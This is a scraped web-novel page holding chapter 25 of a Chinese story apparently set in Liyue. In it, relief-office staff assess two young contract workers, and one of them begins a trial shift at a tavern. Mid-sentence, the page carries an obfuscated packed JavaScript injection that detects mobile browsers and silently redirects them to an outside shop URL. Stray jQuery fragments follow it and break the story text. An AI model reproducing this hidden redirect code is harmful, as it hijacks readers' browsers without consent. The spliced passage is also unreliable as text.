默认冷灰
24号文字
方正启体

25. 第 25 章 努力的活

作者:于沧南本书字数:K更新时间:
    民生疏导处二楼,堆满卷宗的房间里,午后阳光透过高窗,在旧木桌上切出几道亮斑。


    文华摘下眼镜,揉了揉眉心。


    “今年疏导处对请仙典仪的协作,就按刚才议定的来。”他的声音不高,带着处理公务时惯有的平稳,“还有一个月,各自把手里的活理顺。总务司盯着的事,别出纰漏。”


    石锁嗓门洪亮:“主管放心,码头那边我盯着。”


    沐云低头记了几笔。明伯慢慢啜了口温茶,没说话。


    “说下一件事。”文华把手边一份名册往前推了推,“新签的‘七日契’,这批人来了多则五六日,少则三四日。说说看,哪些需要留意,后续怎么安排。”


    石锁第一个接话:“主管,您还别说,这批人里头真有一对儿挺打眼的。丫头叫朗樾,带个小子叫阿响。”


    文华点点头。钟离先生亲自带来、亲自作保的那两个年轻人。他记得。


    “怎么个打眼法?”


    “头一天在后巷扫地,手脚麻利,眼里有活。大前天派去绯云坡通臭水沟——那活儿可埋汰,一般人多少皱眉头,他俩吭哧吭哧就干了。昨儿和今儿在码头帮忙,也没磨洋工。”石锁咂咂嘴,“丫头心细,能坐住,就是身板不算壮。小子力气不小,让干啥干啥,就是反应慢点,得把话掰碎了说。”


    文华看向窗边的明伯:“听说他们在您那儿学字?”


    明伯正擦着老花镜,闻言抬起头,脸上露出笑意:“是,学了三天了。那阿响学得慢,一笔一画像刻石头,但能坐住,心静。”他戴上眼镜,“倒是那朗樾丫头,有点意思。”


    “怎么个有意思?”


    “头一天学‘人’‘口’‘日’三个字,别的孩子还在跟笔画较劲,她看几眼,竟能摹出个大概形状。”明伯指着册子,“课后还专门来找我,想借《开蒙三百字》晚上自己看。这两天更是了不得,学新字快不说,还追着问这字在招牌上怎么写,账目里怎么用。”


    老先生摇摇头:“教了这么多年蒙童,这么着急想把字当工具使的,不多见。倒像是生怕晚一天学会,就少一天活路似的。”


    文华笑了笑:“听您这么一说,倒是个要强的孩子。她和阿响,关系似乎不一般?”


    “何止不一般,”石锁接话,“那小子就跟长在她身边似的,只听她的。那丫头也确实护着他,有啥事都挡在前头。”


    沐云翻开笔记:“我这几天也接触过几次。朗樾生存能力偏弱,体力一般,没什么本地技能,经济上应该很困难了。但学习能力和意愿极强,目标明确——就是学马上能用的东西。社会适应方面比较封闭,主要精力都放在照顾阿响和自保上。心理压力很大,‘七日契’的时间压力,她感受最直接。”


    她顿了顿,补充道:“对了,陈婆婆昨天跟我说,她看见朗樾连续两晚,就着宿处那点微弱的光,用树枝在地上写字练到很晚。婆婆心疼,还念叨‘这孩子也太拼了’。不过……”沐云微微蹙眉,“婆婆说,听见她小声念叨时,冒出一个词,叫‘简体字’。婆婆没听懂,以为是孩子自己瞎编的。”


    “简体字?”文华重复了一遍。


    明伯也摇摇头:“璃月通行文字,并无此种称谓。或许是孩子自己为了方便记忆起的叫法。”


    沐云点点头:“我先标个疑点,后续留意。”


    文华沉默片刻,指节在名册上轻轻敲了敲。


    “他们二人的‘七日契’过了四天,剩下三天,按规矩,该试着给他们找点正经活计看看了。都说说,往哪儿引合适?”


    石锁立刻道:“那丫头心细,坐得住,学字快。‘三碗不过港’不是常要个临时帮工记记账、招呼客人么?可以让她去试试半天,看看是不是真能把字和数用起来,也练练和人打交道。小子力气有,能忍受重复活儿,码头货仓分类正缺人,让他去试半天,看能不能在闹腾地方跟住简单指令。”


    “我看行,”明伯表示赞同,“识字终究要落到用上。我后面教字,也多偏向账目、货物名称这些实用的。”


    沐云也点头:“试工是必要的观察环节。安排在同一日上下半天挺好,能看看他们在不同环境下的切换和适应能力。我会跟进记录。”


    她想了想,又说:“另外,刚才说到配合总务司那边关于请仙典仪的筹备,往年都需要我们出些人手。今年干脆在签过契里的人里寻摸看看,有特别合适的就推荐过去,也是给他们一个机会。”


    文华略一挑眉:“你是说朗樾和阿响?”


    “不光是他们两个,”沐云认真道,“我看这一批里有好几个都不错。典仪是璃月大事,当然得是表现优异的才能推荐。”


    文华沉吟片刻,拍板道:“成,那就这么定。石锁,你去跟‘三碗不过港’和码头三区打招呼,安排后天试工,按半天试工的标准给报酬。沐云你协调跟进,仔细看看。明伯,您老教学上多费心,往实用上引一引。”


    他顿了顿:“如果到时候确定合适总务司那活儿,我亲自带他们过去一趟。”


    会议很快结束。文华重新埋首文书。石锁和沐云低声商量着明天试工的具体时辰,一前一后离开。明伯慢慢喝完杯中最后一点温茶,拄着拐杖踱了出去。


    ——————————


    第二天的公益劳动结束得稍晚。


    这种情况通常会提供一顿午餐,比早晚那顿好。朗樾吃了顿饱饭,心情好了不少。她和阿响把工具归位,转身就看见沐云干事站在廊下,朝他们招手。


    “朗樾,阿响,过来一下。”


    阳光晃眼。沐云站在廊柱阴影里,脸上的神情一如既往温和,却让朗樾无端屏住了呼吸。


    “有个试工的机会。”沐云开门见山,目光落在朗樾脸上,“‘三碗不过港’酒肆,需要临时帮工,从申时到戌时,主要帮忙收拾碗碟、擦拭桌面、传递轻便物件。管一顿工餐,另算半天工钱,四百摩拉。”她顿了顿,“明天下午开始,试半日。你可愿意?”


    三碗不过港!


    朗樾呼吸一滞。


    脏吗?累吗?会应付不来吗?


    这些念头只来得及一闪,就被四百这个数字击碎了。


    ——这么多!还管一顿饭!


    “我愿意!”她听到自己的声音,比想象中更急、更肯定,“沐云干事,我需要准备什么?我一定好好干!”


    沐云对她的急切并不意外,笑了笑,递过来一张折好的粗糙黄纸:“这是酒肆里常见的酒水茶点名称和大概价目,你尽量记熟。到了那儿,多看,多听,手脚勤快些,但求一个‘稳’字。遇到难缠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307630|198725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的客人,避开,找掌柜或老伙计。”她的话简洁务实,“这是你站稳的第一步,踏稳了。”


    朗樾用力点头,手指紧紧捏住那张纸。沐云转脸对阿响道:“你等会儿也去找石锁,他那边也有活儿让你明天去试试。别害怕,用心做。”


    阿响茫然地看着她,又转头看朗樾。


    朗樾忙对他点头。阿响于是点一点头,算是听到了。


    沐云不以为意地笑笑,转身走了。


    从那一刻起,朗樾的心思全扑在那张价目表上。


    明伯的识字课,她听得比任何时候都专注。尤其是讲到与市井、货物相关的字词时,她的眼睛亮得惊人。


    趁着课间休息,她找到明伯,指着价目表上几个特别复杂的字:“明伯,这几个字怎么念?是什么意思?”


    明伯推了推老花镜,耐心地一一解释:“这是‘陈年女儿红’,这是‘竹叶青’,都是好酒。这是‘水晶虾饺’,这是‘蟹黄汤包’,都是吃食。”


    朗樾认真地听着,努力把发音和字形对应起来。她知道自己不可能一晚上全记住,但至少要记住最常见的几种,不能客人点单时一问三不知。


    那一夜,她睡得极浅,梦里全是酒壶、碗碟和模糊的人声。


    ——————————


    第二天下午,申时刚过。


    三碗不过港正是一天中最热闹的时候。外堂露天平台,七八张方桌几乎坐满。中心说书台空着——田铁嘴还未开讲,但已有不少客人在等。内堂有顶敞厅里也坐了几桌。木制柜台后,酒架上摆满各色酒坛,墙上挂着写满名字的赊账水牌。


    谈笑声、碰杯声、跑堂伙计的吆喝声混成一片。空气里弥漫着酒香、菜香和淡淡的油烟味。


    朗樾深吸一口气,压下心头的忐忑,找到柜台后的德贵老板。


    德贵五十来岁,精瘦,穿着褐色短打,正低头拨弄算盘。听到朗樾自报家门,头也不抬地指了指后厨方向:“疏导处来的?去后头找芷若,她会告诉你该做什么。”


    芷若正在内堂擦拭一张刚空出来的桌子。她身形利落,扎着清爽的马尾,衣袖挽到小臂,露出结实的手臂线条。听到脚步声,抬起头,目光明亮地打量了朗樾一眼。


    “新来的?我是芷若。先去把外堂那边三张桌上的碗碟收了,送到后厨洗。记住,收的时候轻拿轻放,别弄出太大动静——田先生快开讲了,别打扰客人听书。”


    朗樾点点头,挽起袖子开始干活。


    油腻的碗碟堆成小山,沉甸甸的托盘端得手臂发酸。人声吵得脑袋嗡嗡响,她得从这片噪音里准确捞出“添茶”、“加菜”的喊声。地上总有点湿滑,每一步都得留神。


    之前在望舒客栈洗衣堂,多半是重复的体力活。现在却要求眼观六路、耳听八方。


    最初的半个时辰最难熬。她端着装满空碗的托盘走向后厨时,手微微发抖,生怕一个不稳全摔了。有次客人喊“再来一壶桂花酿”,她愣了两秒才反应过来,急忙跑去柜台取酒。


    经过内堂时,芷若正单手托着三个盛满酒菜的托盘从她身边经过,脚步稳当如履平地,只在她耳边留下一句低语:


    “走路看脚下,别光顾着听。”


    朗樾心头一凛,连忙放慢脚步,稳了稳手中的托盘。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)